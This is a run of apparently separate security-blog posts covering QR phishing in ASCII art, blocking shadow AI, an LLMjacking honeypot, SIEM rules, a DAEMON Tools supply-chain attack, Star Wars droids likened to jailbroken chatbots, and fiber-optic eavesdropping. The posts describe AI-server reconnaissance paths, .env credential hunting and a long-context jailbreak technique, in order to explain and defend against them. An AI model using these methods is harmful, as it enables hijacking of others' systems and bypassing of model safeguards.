We’ve written time and again about how QR codes are used in phishing schemes. Our secure email gateway solution even includes technology to read these codes — not just from emails, but also from attachments — and check the embedded links. Yet, attackers haven’t given up on trying to send QR codes to their victims. Lately, we’ve increasingly seen them use ASCII art for this purpose — images composed of characters. This seems particularly ironic considering that phishers once tried to evade link scanning by hiding links in images, and now they’re trying to dodge image scanning by going back to text. But with a few twists.

The lost art of ASCII, and how attackers use it

It’s hard to believe today, but there was a time when computers couldn’t display graphics. Consequently, the very first computer images were constructed from text characters. Following the adoption of the standard in 1963, characters from the ASCII (American Standard Code for Information Interchange) set were used for this type of artwork to ensure that images looked the same across different computers. Over time, other text symbols (for example, from the extended Unicode set) began to be used to create images, but the name “ASCII graphics” remained the term used to describe this art form as a whole. There were serious artists working in this medium, the earliest websites were designed with ASCII art, and even the first computer pornography was rendered with text characters.

As image display technology evolved, ASCII art began to fall out of fashion. It saw a major resurgence in the 2000s during the heyday of email spam. Back then, spammers primarily used it because it allowed them to disguise blatant spam keywords that could trigger mail filters, while also placing less load on mail servers than images. Additionally, since many users paid for volume of internet traffic at the time, they often disabled image loading in their email clients. Naturally, at that time, we augmented our email security solutions with technology specifically designed to block ASCII art.

Now, ASCII art has been rediscovered — this time by those looking to bypass technology that recognizes QR codes within images.

What does ASCII art phishing look like?

Here’s a recent example. The pretext itself is pretty run-of-the-mill: someone has supposedly sent to victim a confidential document via DocuSign, but to open it the recipient needs to scan the QR code in the email to visit a website and enter corporate login credentials.

Admittedly, the code looks weird. This is primarily because it’s drawn piece-by-piece in pseudo-graphic elements, and even the gaps between the lines can be seen. In reality, there’s no actual image in the e-mail message code; the QR code looks something like this behind the scenes:

As a result, link scanners can’t see the link, and image analysis tools can’t find the URL hidden inside the QR code, so the attackers assume the phishing email is going to reach the victim just fine. Spoiler alert: no, we haven’t forgotten how to block ASCII art.

Is a QR code in an email even normal?

In theory, there are situations where using a QR code makes sense. It’s a fairly convenient way to share contacts, a link to a mobile app, a map location, or a configuration. In other words, it works well whenever information needs to be delivered specifically to the recipient’s mobile device.

However, someone using a QR code to make you enter corporate credentials on a mobile device is an instant red flag. And when that QR code is generated with ASCII art, it’s clearly a phishing attempt or an effort to lure you to a malicious URL. This trick can only have one purpose — an attempt to bypass security controls.

How to stay safe?

To prevent phishing emails — whether containing ASCII art or not — from ever reaching employee inboxes, we recommend using a secure email gateway with advanced anti-phishing capabilities. As an additional layer of defense, install security solutions on all endpoints used to access the internet.

Additionally, we recommend regular security awareness training to educate employees on modern phishing tactics. Specifically, to explain that ASCII art in modern emails can be a telltale sign of an attempted phishing attack.

While many companies are intentionally rolling out AI to boost quality and efficiency, unsanctioned AI tools are cropping up in corporate environments even faster. Software vendors are baking AI right into products companies already use (think Microsoft Copilot and Google Gemini), while employees are taking matters into their own hands and installing tools on the sly. As a result, businesses are staring down a poorly managed data leak channel: staff paste information from corporate systems into AI chatbots, sending data not just to the SaaS vendor, but straight to the developers behind the underlying AI model. Both the risks and the mitigation strategies vary depending on the type of AI system in play. We break down this broad topic, focusing heavily on tools for spotting and blocking AI at two distinct levels.

Types of unwanted AI systems

Depending on the type of AI in question, managing and blocking its use requires a different playbook. It’s essential to break down AI into four distinct categories:

• Platform-native AI capabilities. Think Microsoft Copilot, Google Gemini, and Apple Intelligence, along with AI features baked right into browsers. The tricky thing about these is that they’re built into everyday essentials, are instantly available to every user (sometimes popping up aggressively), and most importantly, vendors try to turn them on by default.
• AI companions embedded in business apps. This bucket includes Slack AI, Zoom AI Companion, Notion AI, Jira’s Rovo assistant, and the like. These are tied to a single application and are completely inseparable from it.
• Standalone web and app-based chatbots. ChatGPT, Claude, Perplexity, Character AI, local setups like LM Studio, browser extensions, and agentic browsers like Comet. Apps and services in this category are usually adopted by employees on their own without permission: classic examples of shadow AI.

• Desktop-native multi-functional agents. This group features tools like OpenClaw, NanoClaw, NemoClaw, and others. They pose the biggest threat because they come with broad access rights by default and actively process untrusted data from the open web.

How to deal with unwanted AI

Every company, depending on its industry, appetite for innovation, and risk tolerance, needs to draw its own line in the sand between recommended, approved case-by-case, and completely banned use cases for specific AI products. Regulated sectors like healthcare play by one set of rules, while retail businesses operate under an entirely different playbook. Either way, after analyzing exactly which AI tools have already slipped into the organization, corporate policies need to be fine-tuned. That’s why the first order of business is employing existing infosec and logging tools to scan corporate infrastructure.

Depending on the chosen strategy, the uncovered AI systems can be:

• Disabled or restricted by using the built-in corporate policy settings within the tools themselves
• Hard-blocked at the endpoint or network level to create a safety net against policy workarounds or configuration errors
• Transitioned to managed access, where the tool isn’t completely blocked but instead routed through a dedicated corporate gateway that checks access permissions, and monitors usage patterns

Detecting AI systems

Spotting AI requires a multi-layered approach, as different detection methods complement each other and work best against specific types of AI.

 

Technology	What it can detect
DNS	Any AI tool with an identifiable domain
Web Gateway or NGFW	Any AI tool with a recognizable request-and-response fingerprint (API endpoint paths, domains, and other indicators). Web filters can inspect traffic content, and many gateways/NGFWs now feature a dedicated category for detecting and blocking generative AI
EPP/EDR	Locally deployed LLMs (running via Ollama, LM Studio, and similar shells), native desktop apps for ChatGPT or Claude, agentic browsers, and open-source AI agents. An indirect but strong red flag is the presence of Node.js, Python, Git, Docker, or other containerization tools on machines belonging to non-technical staff
Application control	Similar to EPP/EDR, this allows to immediately block unwanted applications right out of the gate
Browser control	AI-focused browser extensions and visits to AI-themed websites. This is a lifesaver if the corporate web gateway can’t inspect encrypted traffic
SaaS Security Posture Management (SSPM) / Identity Governance	OAuth permissions requested by AI apps and services, as well as any third-party integrations plugging into core productivity hubs (Microsoft 365, Google Workspace, and others)

 

Naturally, almost all of these tools allow to do more than just spot AI — they let to block it entirely, or at the very least, sound the alarm for the team in charge.

Keeping an eye on OAuth

Popular office AI solutions — especially meeting assistants, email and calendar automation agents, and the like — gain access to corporate data by requesting OAuth permissions directly from communication, document workflow, or video conferencing platforms. If a user has the green light to grant these permissions to third-party apps, the resulting data leaks completely bypass the organization’s perimeter. Tools like EDR and NGFW won’t see a thing when a tool like Read.ai grabs recordings of every single meeting in, say, Microsoft Teams.

The most drastic — and often best — move is to block standard users from granting OAuth consent in the first place. Here’s how to handle the technical heavy lifting (Global Administrator, Application Administrator, or equivalent rights are needed):

Microsoft 365 / Entra ID

In the Microsoft Entra admin center, head over to Identity > Applications > Enterprise apps > Consent and permissions > User consent settings. There User consent for applications can be disabled (check out Microsoft’s full guide).

Google Workspace

In the Google Admin console, navigate to Security > Access and data control > API controls. Under Manage App Access, the trust level for all apps can be set: Trusted, Limited, Specific Google data, or Blocked. However, the real kicker here is the Unconfigured app settings subsection, which dictates what happens when a user tries to connect an unknown app. To seal this loophole, select Don’t allow users to access any third-party apps.

A separate subsection, Manage Google Services, permits fine-tuning exactly how third-party apps interact with Google Workspace and Google Cloud services. This allows to cut off access for each individual Google product (see Google’s official guide).

Salesforce

In Setup, use the Quick Find box to search for connected apps, then select Manage Connected Apps from the results. While settings are configured for each external app individually, all users can approve access by default. There isn’t a blanket block switch here; instead, Salesforce allows to opt for Admin approved users are pre-authorized (see the full Salesforce guide on this).

Slack

From the Admin settings menu, head to Apps and workflows -> App Management Settings. Tweak the Require approved apps setting by selecting Only allow pre-approved apps. Once that’s locked in, double-check that no rogue AI tools have slipped onto the approved list.

Among the various tools in the Kaspersky portfolio is a dedicated platform for securing containerized environments. But in this post, I want to talk about Kaspersky Container Security (KCS) — not as a vendor representative, but rather as a member of a team that actively uses this solution in their daily work. Our Product Security Team is responsible for establishing secure development processes across the company. We’re involved in every stage of the software development life cycle, and our priority is helping product teams catch security issues early so they can stay on schedule for their releases. To achieve this, we’ve built several workflows, one of which focuses specifically on container security. That’s exactly where we lean on our own Kaspersky Container Security platform.

Container security solutions are typically viewed first and foremost as image scanners for the container registry. However, Kaspersky Container Security (KCS) is more of a comprehensive security platform for container environments that handles multiple tasks by virtue of its end-to-end integration into the container workflow. While it certainly includes a container image scanning scenario — which is undeniably important — our experience with KCS has shown that its real value becomes apparent when it’s integrated into several points along the workflow at once:

• Regular builds
• Artifact verification prior to release or deployment
• Monitoring of containers already running in the cluster

The baseline scenario: how KCS scans images

At its core, the process is a standard one. KCS checks images for typical container issues: known vulnerabilities, malware, hardcoded secrets, and misconfigurations. However, the scan result isn’t just a single, abstract verdict. The system calculates a risk rating based on the findings, providing a clear picture of the asset’s security posture. In practice, this is incredibly useful because teams don’t just see a “bad image” message; they get a transparent breakdown of exactly what’s driving the risk and what needs to be fixed first.

But that’s not all. KCS works well for scenarios where it’s not enough to just find a problem — you need to tie it to the artifact’s life cycle. When a team is managing hundreds of builds, periodic registry scanning isn’t enough, and it almost always requires manual intervention. You need to know which pipeline introduced the risk, which policies were triggered, and what the next steps are. KCS provides this essential link.

Advanced scenario: CI/CD integration

One lesser-known KCS feature is its full-scale scanning capability within CI/CD pipelines. For our team, this is the most effective way to use KCS. The logic is straightforward: you integrate the scanner into the pipeline, and the scan results appear directly in the execution logs. They’re also sent to the solution’s central console, where they’re logged in a dedicated CI/CD section that links the findings to the artifact name, scan time, pipeline, and severity level.

In a CI/CD environment, you can scan images from tar-archives or directly from Git repositories. Out of the box, it supports GitLab, Jenkins, TeamCity, and GitHub Actions; in practice, KCS can be integrated into any pipeline orchestrator.

Another critical aspect of using KCS in CI/CD involves security policies. Our solution uses a model where policies allow for not just collecting results, but also controlling the behavior of the pipeline itself. This comes in handy for phased rollouts. You can start in audit mode, and then gradually move toward failing builds when secrets, critical misconfigurations, or vulnerabilities are detected. This evolutionary approach generally works better than simply flipping a switch to block it all at once.

How KCS helps in our workflows

We run our own composition analysis system, so we don’t treat KCS as a single source of truth. Instead, it serves as a powerful extra layer in our workflows, and that’s exactly where we find the most value.

While our in-house composition analysis system handles component tracking, dependencies, and code-level risk assessment, KCS excels at securing the container perimeter. It takes care of technical image scanning and CI/CD security, while aggregating reports on container artifacts. It doesn’t conflict with our internal analysis; it reinforces it right where containers receive actual workloads.

This is particularly useful for us in two scenarios. First, it provides early-stage artifact control during development. Second, it acts as a gatekeeper during release acceptance. We no longer debate risks sometime after the release; we catch them at the exact point where the team can still quickly fix a Dockerfile, Helm chart, or config set without a lengthy approval chain.

The way it handles a software bill of materials (SBOM) is also noteworthy. Our system relies primarily on up-to-date, relevant SBOMs. KCS offers modes specifically for processing SBOMs, and can even output scan results in that same format. In this regard, KCS integrates seamlessly with our internal processes, allowing us to fit it into our existing workflows rather than the other way around.

Why KCS is more than just a scanner to us

Its other powerful layer is cluster security. At this stage, KCS evolves beyond being just an image-scanning tool. It features runtime policies for containers and nodes, audit and blocking modes, and a set of security profiles. In practical terms, this means KCS can be used not only to find vulnerabilities within an image, but also to monitor what the container is actually doing once it’s live. Policies can account for image provenance, digital signatures, restrictions on capabilities and volumes, and even the processes and network connections running inside the container.

When a problem is detected, you have the option to log the results in audit mode first rather than blocking the process immediately. In production environments, this is always the smarter move. Another vital tool is ensuring trusted image provenance. KCS supports digital signature verification, which shifts the focus from simply finding CVEs to securing the company’s entire software supply chain.

Reporting capabilities

KCS does more than just display the issues it detects; it serves as a comprehensive reporting source. It can generate reports on images, accepted risks and Kubernetes benchmarks.

Generated reports are available in HTML, PDF, CSV, JSON and XML formats, with specific support for SARIF for detailed reporting — which is ideal for integrating into AppSec workflows. As for the SBOMs mentioned above, the scanning scenarios can output artifacts and results in CycloneDX and SPDX formats, making it easy to plug into existing processes.

Why we continue to use KCS

To put it simply, KCS complements our workflows perfectly — not because it solves every single problem, but because it integrates so effectively into engineering scenarios.

We also appreciate that the product team listens to our feedback. The KCS team actually incorporates our practical operational requests into their development roadmap. For example, deep SBOM integration and specific report types were added to KCS as a direct result of our hands-on experience.

To sum it up, when integrated correctly, Kaspersky Container Security helps cover several areas at once: from basic container scanning, to CI/CD and cluster security. In our experience, it provides real value within a live container ecosystem. You can learn more about the solution on the official KCS page.

AI security covers more than just data theft prevention, restricting rogue AI agents, or stopping assistants from giving harmful advice. A relatively simple but rapidly scaling threat has emerged: attempts to hijack computational power and exploit someone else’s neural network for personal gain. This is known as LLMjacking. With AI compute costs widely predicted to surge dramatically, the number of attackers driven by these motives is poised to grow. Consequently, when deploying proprietary AI servers and their supporting ecosystems like RAG or MCP, it’s critical to establish rigorous security measures from day one.

Statistics from a honeypot

The speed and scale of these resource-hijacking attempts are best illustrated by an experiment documented in detail in April 2026. The investigator configured a Raspberry Pi to masquerade as a high-performance private AI server, and made it accessible from the internet. When queried, it reported the availability of Ollama, LM Studio, AutoGPT, LangServe, and text-gen-webui servers — all tools commonly used as wrappers for locally hosted AI models. The server also appeared ready to accept API requests in the OpenAI format, which has become the industry standard.

All these services were seemingly powered by a local instance of Qwen3-Coder 30B Heretic, one of the most powerful open-source models, with its safety alignment removed. To throw in a sweetener, the honeypot reported the presence of various RAG databases and an MCP server with tempting capabilities like get_credentials on board.

In reality, the Raspberry Pi was simply hosting 500 pre-saved responses from an actual Qwen3 model, with a lightweight script selecting the most relevant answer for each incoming query. This setup was enough to pass a superficial check while allowing the researcher to probe the attackers’ intentions.

According to the author, Shodan, a popular internet scanning service, discovered the server within three hours of its going live. Just one hour later, requests resembling capability reconnaissance began pouring in. Over the following month, the server handled more than 113 000 requests from thousands of unique IPs, with 23% of that traffic specifically targeted at discovering AI capabilities and exploiting local LLMs and AI agents.

Requests to endpoints like /api/tags and /v1/models allow attackers to fingerprint which models are hosted on a server, while scanning for /.cursor/rules typically precedes an attempt to exploit an AI agent. Similarly, checking /.well-known/mcp.json serves as an inventory of the victim’s MCP servers. While the author makes no mention of the total number of attacks that progressed beyond simple scanning, there were 175 active attempts to hijack the LLM during the final week of the experiment alone.

What are the attackers after?

Based on the researcher’s observations, none of those targeting the decoy server attempted to execute arbitrary code or gain root access. (Editorial note: this is surprising and may point to gaps in logging.) Almost all attacks were aimed at siphoning resources. For example, the following activities were logged during the experiment:

• A well-structured attempt to parse technical documentation for a microprocessor
• A prompt to write an erotic novel
• Requests to parse and structure social media text data regarding new vulnerabilities
• An attempt to call Anthropic models using the compromised server as an API proxy

It’s worth noting that the reconnaissance of AI resources uses standardized and rapidly evolving tools. Requests from an application named LLM-Scanner originated from the infrastructure of seven different cloud providers across eight countries, suggesting that the raiders have put established methodologies in place, as well as specialized platforms for sharing techniques. By the third week of the experiment, the scanner had been updated with an additional check: it now used simple abstract questions to determine whether it’s interacting with live AI or a honeypot returning canned responses.

Among the non-specific attacks, the experiment recorded numerous attempts to exfiltrate credentials from the .env file. Attackers systematically hunted for this file across every conceivable directory on the server. Leaving an .env file publicly accessible is one of the most elementary mistakes when deploying projects on Laravel, Node.js, and other frameworks, yet it remains a common oversight — particularly among beginners and vibe coders. Consequently, attackers have every reason to expect their efforts to pay off.

Conclusions and defense tips

Scanning publicly accessible servers and attempting to exploit them is nothing new, but the rise of LLMs gives attackers another way to monetize their efforts — one that’s both highly lucrative for them and devastating for their victims. To understand how massive these attacks could become, look at their closest counterpart: the cryptojacking market — where criminals mine cryptocurrency using stolen computational resources. That market grew by 20% in 2025 alone. As AI-powered solutions proliferate, and as major providers hike subscription costs while local AI chips remain in short supply, we should expect LLMjacking to become an industrial-scale phenomenon.

Key defensive measures for private AI infrastructure

• For AI systems running locally on a single machine, ensure that servers like LM Studio, Ollama, or similar are configured to accept connections only on the local interface (localhost), rather than all available network interfaces. This restricts LLM access to the host machine itself, and prevents the AI from being reachable over the internet.
• For servers handling remote requests — even if the server only operates within a local corporate network — implement robust authentication and authorization rather than relying solely on API key validation. Solutions based on OIDC or OAuth2 with short-lived tokens are the most effective. This not only defends against LLMjacking, but also allows for more granular tracking of user activity, and prevents API key abuse. Furthermore, keys must be protected from more than just external attackers; a growing risk is the misuse of keys by AI agents themselves. This applies to LLM interfaces as well as MCP, RAG, and others.
• Use network segmentation and IP allowlists to give AI server access only to the departments, employees, and services that require it.
• Ensure that all client-server connections are secured with a current version of TLS.
• Apply the principle of least privilege by separating access to specific services; for instance, MCP and LLM components should have their own distinct access tokens.
• Ensure an EDR security agent is installed on all workstations and servers, including those hosting AI models.
• Monitor AI resource consumption, establish usage quotas for different employee roles, and set up alerts for anomalous activity spikes.
• Maintain detailed logs of LLM responses and requests made to the model and its supporting tools. Integrate these data sources with your SIEM. Ensure logs are resilient against tampering or deletion.

To put it simply, the classic logic of a SIEM system works as follows: if event A occurs, followed by event B, this may be a sign of an attack, and an information security specialist should be notified. But in today’s environment, this simple scenario is increasingly failing. Just recently, our experts analyzed a high-profile incident: attackers compromised the update infrastructure of the popular Notepad++ software, and distributed malware via the update mechanism. It’s simply impossible to have rules in place in advance that are specifically designed to counter such scenarios.

The attacks themselves have become more sophisticated: attackers use legitimate tools, they attack through the supply chain by compromising software outside the corporate perimeter, stretch out their scenarios over time, and disguise their actions as normal activity. In other words, they do not “break into” the infrastructure; more often than not, they log in and use legitimate software. As a result, the classic fixed rules of the past either fail to trigger, or generate too many false alerts. This is what prompted the shift toward more flexible correlation scenarios.

Dynamically updated SIEM content

Correlation content today isn’t a static set of rules, but a process: it’s constantly evolving and adapting to current threats. In 2025 alone, we released 55 rule-package updates for different versions and languages of our Kaspersky SIEM system. In just one year, we added 10 new rule packs, as well as 250 detection rules and numerous improvements to existing content. This year, we’ve already added 43 new rules and refined another 63. In total, this amounts to over 850 rules covering a significant portion of the MITRE ATT&CK framework.

Kaspersky SIEM rules are written based on insights from our experts who analyze real-world, recent attacks: we primarily draw on the findings of our managed detection and response (MDR) service and our threat research. As a result, our rules cover scenarios — from reconnaissance to privilege escalation — that involve the latest approaches used by attackers. For example, we detect the use of new attack techniques such as ToolShell.

In addition to scheduled updates, the team regularly releases so-called emergency content — rule sets for rapid response to new and unexpected attack techniques. In February, for example, detection rules were released for authentication bypass in Fortinet products via the SSO mechanism: attackers used specially crafted SAML requests to gain access to systems without credentials.

From events to attack chains

Moreover, modern SIEM rules no longer describe individual events, but rather sequences of actions. Scenarios are built around the stages of an attack: from initial access, to privilege escalation and persistence. Kaspersky SIEM’s effectiveness is enhanced through integration with Kaspersky EDR and dedicated rule sets for Active Directory, which implement dozens of attack detection scenarios at various stages. This approach allows us to see not just individual signals, but the full picture.

Integration and internal visibility

Another way to improve the effectiveness of an SIEM system is to expand data sources. A classic SIEM aggregates events from different levels of the infrastructure: from logs to telemetry from endpoints and internal systems. In addition to this, our SIEM system includes specialized rule sets for our other solutions (Kaspersky Security Center, Kaspersky Security for Mail Groups, K Anti-Targeted Attack platform), which allow monitoring of administrator actions, authentication, and service status. As a result, the system becomes a tool not only for detecting attacks, but also for monitoring internal activity.

 

Overall, SIEM is no longer just a set of rules, but has evolved into a continuously updated detection system. Its effectiveness is determined not by the number of detections, but by their relevance, coherence, and how accurately they reflect the actual actions of attackers. Stay up to date regarding our Kaspersky Unified Monitoring and Analysis Platform (SIEM) on its official product page.

Our experts have discovered a large-scale supply chain attack via DAEMON Tools – software for emulating optical drives. The attackers managed to inject malicious code into the software installers, and all trojanized executable files are signed with a valid digital signature of AVB Disc Soft – the developer of DAEMON Tools. The malicious version of the program has been circulating since April 8, 2026. At the time of writing, the attack is still ongoing. Researchers at Kaspersky believe this is a targeted attack.

What are the risks of installing the malicious version of DAEMON Tools?

After the Trojanized software is installed on the victim’s computer, a malicious file is launched every time the system starts up – sending a request to a command-and-control server. In response, the server may send a command to download and execute additional malicious payloads.

First, the attackers deploy an information gatherer that collects the MAC address, hostname, DNS domain name, lists of running processes and installed software, and language settings. The malware then sends this information to the command-and-control server.

In some cases, in response to the collected information, the command server sends a minimalistic backdoor to the victim’s machine. It’s capable of downloading additional malicious payloads, executing shell commands, and running shellcode modules in memory.

The backdoor can be used to deploy a more sophisticated implant dubbed as QUIC RAT. It supports multiple communication protocols with the command-and-control server, and is capable of injecting malicious payloads into the notepad.exe and conhost.exe processes.

More detailed technical information, along with indicators of compromise, can be found in the experts’ article on the Securelist blog.

Who’s being targeted?

Since early April, several thousand attempts to install additional malicious payloads via infected DAEMON Tools software have been detected. Most of the infected devices belonged to home users, but approximately 10% of installation attempts were detected on systems running in organizations. Geographically, the victims were spread across around a hundred different countries and territories. Most victims were located in Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.

Most often, the attack was limited to installing an information collector. The backdoor infected only a dozen machines in government, scientific, and manufacturing organizations, as well as in retail businesses in Russia, Belarus, and Thailand.

What exactly was infected

The malicious code was detected in DAEMON Tools versions ranging from 12.5.0.2421 to 12.5.0.2434. The attackers compromised the files DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe, which are installed in the main DAEMON Tools directory.

Updated on March 6: Following disclosure, the vendor acknowledged the issue and published a new version of the software to address it. The updated DAEMON Tools version 12.6.0.2445 no longer shows the malicious behavior described in this article.

How to stay safe?

If DAEMON Tools software is used on your computer (or elsewhere in your organization), our experts recommend thoroughly checking the computers on which it is installed for any unusual activity starting from April 8.

In addition, we recommend using reliable security solutions on all home and corporate computers used to access the internet. Our solutions successfully protect users from all malware used in the supply chain attack via DAEMON Tools.

Droids appear in practically every movie or TV series set in the “Star Wars” universe. They usually behave strangely. On the one hand, they give the impression of being independent-thinking beings with their own personalities; on the other, they’re objects: they belong to someone, remain loyal to their owners, and carry out their orders. Most of the time we’re never given any explanation for the droids’ motivations. Why are some of them willing to break the law at their master’s command? What determines who exactly they consider their master? How do they decide whom to remain loyal to and whose orders to follow?

Someone might say, “What’s the difference?” And from the perspective of the average viewer, they’d be absolutely right. But from our perspective, the question of a droid’s loyalty is first and foremost a question of cybersecurity. A droid is a complex cyber-physical system; by influencing its motivation, an attacker can gain access to confidential data, or even cause harm to the actual owner. In 2025, two TV series were released whose creators dealt with the issue of droid ownership. We were presented with two concepts for managing droid motivation. We’ll attempt to examine both of these concepts and their shortcomings in this post. As usual, please be warned that the text may contain spoilers.

“Star Wars: Skeleton Crew”

In “Skeleton Crew”, we’re introduced for the first time to the concept changing droids’ behavior using voice commands. In several instances, a person who’s not the droid’s formal owner attempts to influence its actions by trying to mislead the droid. Overall, it appears this concept was influenced by modern chatbots based on large language models (LLMs) — it bears a striking resemblance to “jailbreak” attempts, i.e., attacks on the model aimed at bypassing security restrictions or built-in filters.

An unnamed droid working as a servant

Fern, a ten-year-old girl, wants her mother to think that she came home early and was studying in her room. But there’s a problem: the home droid knows that’s not true. So Fern uses the “Run memory override” command, and feeds the droid false information in the rather absurd phrasing, “I was home, you just didn’t see me”.

The fact that this method works points to two problems. First, the droid accepts the memory override command from Fern, which means it either lacks account control or has improperly configured permissions. The formal owner of the droid is the mother (otherwise, manipulating the memory would make no sense), but nevertheless, it accepts a potentially dangerous command from Fern. Second, a home droid tasked with watching over a child obviously lacks a built in parental control feature.

Pirate droid SM-33: motivation

The SM-33 droid considers the captain of the ship “Onyx Cinder” to be its owner. That is, it remains loyal not to a specific person, but to a role. A pirate code is used to determine the legitimacy of the right to hold this role. Unfortunately, the entire code isn’t explained to us, but several of its tenets are cited. First, according to the SM-33’s programming, there can be no ship without a captain (if there is no captain, someone must take their place). Second, the person who defeats the captain legally becomes the new captain. Third, if a challenge is invoked, the droid cannot assist the active captain, but must wait for the outcome of a duel. And fourth, a person can be the captain of only one ship — if a person takes command of another vessel, they automatically lose their status as captain of the first.

The SM-33 changes hands three times, strictly following this code. First, Fern lies to him, claiming she killed the previous captain and took his place. Then Jod Na Nawood throws down a challenge and becomes captain when Fern surrenders. Then Jod takes command of a pirate frigate and loses the captain’s seat of the Onyx Ash, but manages to reclaim his rights.

And here’s where an interesting twist occurs. Fern introduces a concept from children’s games —unclaimsies (essentially a reset of claims) — and asserts her own claim to the captain’s seat. She then immediately orders SM-33 to throw the pirates overboard. To many viewers, this moment seemed extremely unrealistic — why would a droid, whose motivation is defined by the pirate code, consider such a transfer of rights to be legitimate? However, if we assume that the droids are controlled by LLMs, then this plot twist is quite explainable.

The Pirate Code is the original system of ethical values embedded in the droid. The chatbot typically assesses the interlocutor’s intent at the very beginning of the dialogue, using a complex (resource-intensive) model for this purpose. Subsequently, to conserve resources and ensure safety during the conversation, simpler models are employed. However, the more context (dialogue history) there is, the more complex and resource-intensive it becomes to assess intent. This is precisely the basis of the popular jailbreak technique, which works on at least some modern LLMs. That is, as a result of prolonged communication with Fern, SM-33 lost the ability to correctly assess new requests for compliance with its original ethical guidelines, and therefore it deemed the statement about nullifying rights to be justified.

SM-33: Access to Memory

In fact, there is another issue with SM-33’s security that’s not directly dependent on whom it considers its owner, but is nonetheless related. The old captain gave the order to forget everything related to the planet At Attin, and to dismantle anyone who begins to take an interest in this matter. Fern, with the admin captain’s privileges, runs her favorite memory override, and forces the droid to retrieve its memories of At Attin, after which SM-33 recalls both the planet and the order to attack the questioner.

And as a result, we realize that, in fact, it did not carry out the old captain’s order; the information about At Attin remained in the droid’s memory; it simply couldn’t find it — that is, if it did delete it, it was only from the index of accessible memories. Perhaps this is some physical property of the droid’s memory, or maybe this can be explained by the fact that SM-33 was programmed not by a professional, but by a pirate. After all, its design includes other suboptimal solutions, such as a power switch accessible to anyone standing nearby, exactly like C-3PO’s. But what makes sense for a protocol droid isn’t exactly suitable for a combat droid designed, among other things, for hand-to-hand combat…

Season 2 of the series “Andor”

In the series “Andor”, the prequel to the film “Rogue One,” we finally see how the main character, Cassian Andor, acquired the reprogrammed Imperial security droid K-2SO to become his partner. And most importantly, the process of how the rebels changed his motivation is shown.

As it turns out, in order for a combat droid loyal to the Empire to stop obeying its original programming, its “cortex” must be replaced — though the replacement cortex can trigger rejection. The specialist says, verbatim: “You’ll hear a lot of nonsense about reprogramming, which makes it sound as though it’s a problem that can be solved from a console, but frankly, that’s nonsense. It’s really all about impulse suppression, which is entirely an engineering and wiring issue.”

In other words, the rebels replace a certain component, after which the droid becomes a being with new moral principles. At the same time, it retains its memory (K-2SO later recalls how it once participated in a parade on Coruscant).

 

So, what conclusions can we draw from all this? Well, first, it becomes clear that a droid controlled by an LLM is a clear security threat. It can easily be misled and made to act against its rightful owner. And second, the hardware and software platform used to create droids in “Star Wars” is far from ideal. If our colleagues had been responsible for creating the droids, they’d have strived to develop a cyber-immune solution in which functionality would be impossible after a key component was replaced, as would malicious memory manipulation. In other words, it’s a real shame that a long time ago, in a galaxy far, far away, there was no KasperskyOS.

Researchers from three universities in Hong Kong have published a paper demonstrating a method of eavesdropping through fiber-optic cables. Fiber optics have long been the gold standard for data transmission due to their ability to transfer information at high speeds over long distances. Fiber-optic cabling utilizes ultra-thin glass threads for transmission, and is widely used not only for backbone data lines but also for connecting individual premises. And as it turns out, these very glass threads are sensitive enough to vibrations that they subtly alter the parameters of the optical signal.

Potentially, this allows a fiber-optic cable to be turned into a microphone and intercept room conversations while being kilometers away from the sound source. In other words, this exploits so-called side channels — non-obvious characteristics of everyday home or office appliances that enable information leaks. Of course, this work is largely theoretical, much like other similar studies we’ve covered previously — eavesdropping through mouse sensors, using RAM modules as radio transmitters, exfiltrating data from CCTV sensors, or screen snooping through HDMI cables. However, several news outlets have reported on the Hong Kong researchers’ study as if it were a turnkey method, so let’s try to determine just how dangerous it really is in practice.

Hurdles of optical eavesdropping

The unique characteristics of fiber-optic cables were first considered back in 2012 by Russian researchers, who conceded the theoretical possibility of such an attack. The goal of the Hong Kong researchers was to demonstrate at least some level of practical implementation for eavesdropping.

The diagram above illustrates a typical FTTH (fiber-to-the-home) network architecture, where end users or organizations connect directly to a fiber-optic cable. The ISP manages the so-called Optical Distribution Network (ODN), to which end-users are connected. The device on the user’s end is called an Optical Networking Unit (ONU).

An attack leveraging this equipment is quite difficult to execute. To eavesdrop on a specific ONU endpoint, a potential adversary would need access to the provider’s infrastructure and control over the ODN equipment. What exactly is this device? It’s a network router or an optical-to-Ethernet converter — a small box usually tucked away in an office utility closet. Inside the premises, connectivity is provided either by Wi-Fi or a local network using Ethernet cabling. Crucially, the fiber-optic cable is unlikely to run directly into a sensitive area like a CEO’s office — the very place where eavesdropping would be most relevant.

And here’s a rough idea of what the attacker’s equipment would look like. Using special tech, they send optical pulses down the fiber-optic cable and measure the parameters of their transmission. Minor vibrations from footsteps in a room near the cable and nearby conversations trigger an effect known as Rayleigh scattering. This effect, in turn, causes minute deviations in the reflected signal’s parameters, which are then captured on the attacker’s end using a photosensor.

Before moving on to voice recording, the researchers decided to test a simpler scenario. To streamline the task, they ran the fiber-optic cable around the perimeter of the room and recorded footsteps — which generate significant vibration — rather than quiet conversation. This experiment was quite successful — the footsteps were audible. However, human speech proved to be far more challenging to capture. It turned out that even in laboratory conditions, intercepting a conversation between two people was impossible. To make further stages of the attack possible, the researchers assumed the presence of a bug at the fiber’s entry point into the room. This module is essentially a microphone that converts audio signals into vibrations on the optical cable. This amplifies the signal, making it possible to intercept on the attacker’s side.

Not-so-obvious advantages

But wait — if we’re talking about planting a bug in a room, why go through all the trouble with fiber optics? Why not just have the bug transmit the conversation on its own through cellular data or the building’s landline — especially since it’s already sitting right on top of it? Because there’s a distinct advantage to the researchers’ proposed attack scenario.

A regular bug transmitting audio over a cellular network or through the internet is fairly easy to detect, whereas a transmitter relaying data via fiber-optic cable vibrations can operate much more stealthily. Such a tap would be relatively easy to implant during the installation of network equipment, and harder to detect using traditional bug-sweeping tools.

Another major benefit of this hypothetical attack is that the eavesdropping can take place kilometers away from the target room — the attacker wouldn’t have to put themselves at extra risk by being near the target. Theoretically, one could also imagine a scenario where a separate fiber-optic cable is run into a room solely for surveillance purposes without raising much suspicion from those being surveilled.

Practical takeaways

If we frame the question as, “Can attackers remotely eavesdrop on any room that has fiber-optic cabling?” the answer is no; it’s still impossible. However, this work by the Hong Kong researchers, which highlights quirks of a common data transmission medium, demonstrates a technically feasible — albeit unlikely and quite expensive to execute — scenario for a targeted attack.

